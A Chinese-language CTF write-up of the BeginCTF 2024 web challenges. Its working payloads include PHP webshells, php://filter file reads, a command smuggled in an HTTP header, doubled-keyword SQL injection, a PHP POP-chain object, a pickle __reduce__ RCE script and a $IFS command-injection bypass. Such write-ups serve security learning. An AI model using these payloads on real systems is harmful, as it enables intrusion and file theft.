0%

BeginCTF2024_WEB_WP

作者:Narcher 时间:2024/2/3 分类:writeup

zupload系列

1.这一系列的题目基本上都是考察简单的代码审计,论难度只能算是签到题。

2.所有题目均会先贴出源码。

zupload

1706964110449

本题对action的赋值无过滤,因此可直接读flag,payload:?action=/flag

1706964226317

zupload-pro

1706964316902

本题禁止了目录穿越,但限制条件不多,可直接用php伪协议读取文件。

payload:?action=php://filter/convert.base64-encode/resource=/flag

1706964602559

base64解码即可:begin{is_tHis_4_wE85heLL_069b22e704f1}

zupload-pro-plus

1706964695540

本题做法同上,payload:?action=php://filter/convert.base64-encode/resource=/flag

从源码改动上来看,出题人应该是想让选手进行后缀双写绕过,但应该是出题的时候不严谨,导致有多种做法,因此不再过多赘述

zupload-pro-plus-enhanced

1706964975687

作者在本题进行了加固,只能进行双写后缀的形式绕过

方法如下:

1.一句话木马<?php @eval(system('cat /flag'))?>写入1.php
2.改后缀名为1.zip
3.上传时拦截数据包改名为1.zip.php
4.访问http://ip:port/uploads/1.zip.php

zupload-pro-plus-max

1706965143957

本题考点:include()函数包含文件时不考虑文件后缀,并且会将文件内容当作php代码执行

方法如下:

1.创建1.txt里边写上php一句话木马<?php eval(system("cat /flag"));?>
2.压缩为1.zip上传
3.访问uploads/1.zip,include()函数自动解析1.txt内的内容即可获取/flag

zupload-pro-plus-max-ultra

1706965351433

本题考点:$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些额外的项目。


$_SERVER[‘PHP_SELF’] 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar。__FILE_ 常量包含当前(例如包含)文件的完整路径和文件名。 从 PHP 4.3.0 版本开始,如果 PHP 以命令行模式运行,这个变量将包含脚本名。之前的版本该变量不可用。
$_SERVER[‘GATEWAY_INTERFACE’] 服务器使用的 CGI 规范的版本;例如,”CGI/1.1”。
$_SERVER[‘SERVER_ADDR’] 当前运行脚本所在的服务器的 IP 地址。
$_SERVER[‘SERVER_NAME’] 当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。(如: www.runoob.com)
$_SERVER[‘SERVER_SOFTWARE’] 服务器标识字符串,在响应请求时的头信息中给出。 (如:Apache/2.2.24)
$_SERVER[‘SERVER_PROTOCOL’] 请求页面时通信协议的名称和版本。例如,”HTTP/1.0”。
$_SERVER[‘REQUEST_METHOD’] 访问页面使用的请求方法;例如,”GET”, “HEAD”,”POST”,”PUT”。
$_SERVER[‘REQUEST_TIME’] 请求开始时的时间戳。从 PHP 5.1.0 起可用。 (如:1377687496)
$_SERVER[‘QUERY_STRING’] query string(查询字符串),如果有的话,通过它进行页面访问。
$_SERVER[‘HTTP_ACCEPT’] 当前请求头中 Accept: 项的内容,如果存在的话。
$_SERVER[‘HTTP_ACCEPT_CHARSET’] 当前请求头中 Accept-Charset: 项的内容,如果存在的话。例如:”iso-8859-1,*,utf-8”。
$_SERVER[‘HTTP_HOST’] 当前请求头中 Host: 项的内容,如果存在的话。
$_SERVER[‘HTTP_REFERER’] 引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。)
$_SERVER[‘HTTPS’] 如果脚本是通过 HTTPS 协议被访问,则被设为一个非空的值。
$_SERVER[‘REMOTE_ADDR’] 浏览当前页面的用户的 IP 地址。
$_SERVER[‘REMOTE_HOST’] 浏览当前页面的用户的主机名。DNS 反向解析不依赖于用户的 REMOTE_ADDR。
$_SERVER[‘REMOTE_PORT’] 用户机器上连接到 Web 服务器所使用的端口号。
$_SERVER[‘SCRIPT_FILENAME’] 当前执行脚本的绝对路径。
$_SERVER[‘SERVER_ADMIN’] 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值。(如:someone@runoob.com)
$_SERVER[‘SERVER_PORT’] Web 服务器使用的端口。默认值为 “80”。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。
$_SERVER[‘SERVER_SIGNATURE’] 包含了服务器版本和虚拟主机名的字符串。
$_SERVER[‘PATH_TRANSLATED’] 当前脚本所在文件系统(非文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。
$_SERVER[‘SCRIPT_NAME’] 包含当前脚本的路径。这在页面需要指向自己时非常有用。FILE 常量包含当前脚本(例如包含文件)的完整路径和文件名。
$_SERVER[‘SCRIPT_URI’] URI 用来指定要访问的页面。例如 “/index.html”。

(以上内容均来自菜鸟:PHP 超级全局变量 | 菜鸟教程 (runoob.com)


方法如下:

1.burp抓包,在http头中添加X-Extract-To:.;cp /flag . /uploads/

2.访问http://ip:port/uploads/flag

zupload-pro-plus-max-ultra-premium

1706965937251

本题考点:软链接

软链接可以看成是Windows系统中的快捷方式,可以让你快速链接到目标文件或目录,它找到的是原文件名,通过原文件名找到真实的文件或目录,且软连接本身有自己的indoe

方法如下:

1.ln -s /flag flag创建软连接文件

2.将文件压缩为zip格式上传

3.访问/uploads/flag即可访问到/flag

zupload-pro-revenge

1706966299795

本题考点:前端校验绕过(PS:任何前端校验都是不可信的)

方法如下:

1.一句话木马<?php @eval(system('cat /flag'))?>写入1.php
2.改后缀名为1.zip
3.上传时拦截数据包改名为1.php
4.访问http://ip:port/uploads/1.php

sql教学局

单纯的sql waf绕过,没什么技术含量

flag分为三部分,依次拿就是了

1706966698425

payload如下:

1
2
3
1.http://ip:port/challenge.php?user=1%27/**/union/**/seselectlect/**/group_concat(flag)/**/frfromom/**/secret.passwoorrd%23
2.http://ip:port/challenge.php?user=1%27/**/union/**/seselectlect/**/group_concat(student,%27~%27,grade)/**/frfromom/**/scoorre/**/where/**/student/**/like/**/%27begin%27%23
3.http://ip:port/challenge.php?user=1%27/**/union/**/seselectlect/**/loloadad_file('/flag')%23

POPgadget

考察php反序列化,这个题目有点坑人,flag在环境变量中,直接看phpinfo就可以了,耗费了很多时间

1706966860374

POP链构造:B::__destruct到A::__get到Fun::__call

1706967332988

别忘了将空字符改成%00,之后GET传参:?begin=O:1:"B":2:{s:1:"p";s:7:"phpinfo";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";s:20:"call_user_func_array";}}}

1706967424563

PS:后来才知道,这个phpinfo是个非预期,真正的解法实际上是把phpinfo改成env直接看环境变量(其实也差不多)

pickelshop

新知识点:考察pickel反序列化

register页面注册获取cookie,在login页面的http头中添加cookie会发现回显

因此在username中添加__reduce__函数进行命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import base64



class register(object):
def __init__(self, username="test"):
self.username = username

def __reduce__(self):
return (eval, ("__import__('os').popen('cat /flag').read()",))


a = {'username': register(), 'password': '124'}
c = pickle.dumps(a, protocol=4)
encoded_data = base64.b64encode(c)

# 将base64字符串写入Output.txt文件中
print(a)
print(encoded_data)

之后改Cookie即可

1706967939016

readbooks

本题考点:命令执行

/public/book*发现同时列出来了book1和book2的内容

因此直接/list/*获取当前目录所有文件名

1706968229837

再用/public/black*获取黑名单,/public/app*获取源码

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import os
from flask import Flask, request, render_template

app = Flask(__name__)

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']
DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']
BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

BLACKLIST.append("/")
BLACKLIST.append("\\")
BLACKLIST.append(" ")
BLACKLIST.append("\t")
BLACKLIST.append("\n")
BLACKLIST.append("tc")

ALLOW = [
"{",
"}",
"[",
"pwd",
"-",
"_"
]

for a in ALLOW:
try:
BLACKLIST.remove(a)
except ValueError:
pass

@app.route('/')
@app.route('/index')
def hello_world():
return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
try:
res = os.popen('cat {}'.format(name)).read()
return res
except:
return "error"

@app.route('/list/<path:name>')
def listbook(name):
name = str(name)
for i in DISALLOWED1:
if i in name:
return "banned!"
for j in DISALLOWED_FILES:
if j in name:
return "banned!"
for k in BLACKLIST:
if k in name:
return "banned!"
print(name)
cmd = 'ls {}'.format(name)
try:
res = os.popen(cmd).read()
return res
except:
return "error"

if __name__ == '__main__':
app.run(host='0.0.0.0',port=8878)

黑名单过滤了许多,因此需要绕过

空格用$IFS$9代替,关键字使用''绕过,执行的命令进行base64转换

payload: /public/$IFS$9`ec’’ho$IFS$9Lyo|ba’’se64$IFS$9-d`

读取根目录下所有文件

1706968754680

King

本题参考beginCTF 2024 Web方向题解WP 全-CSDN博客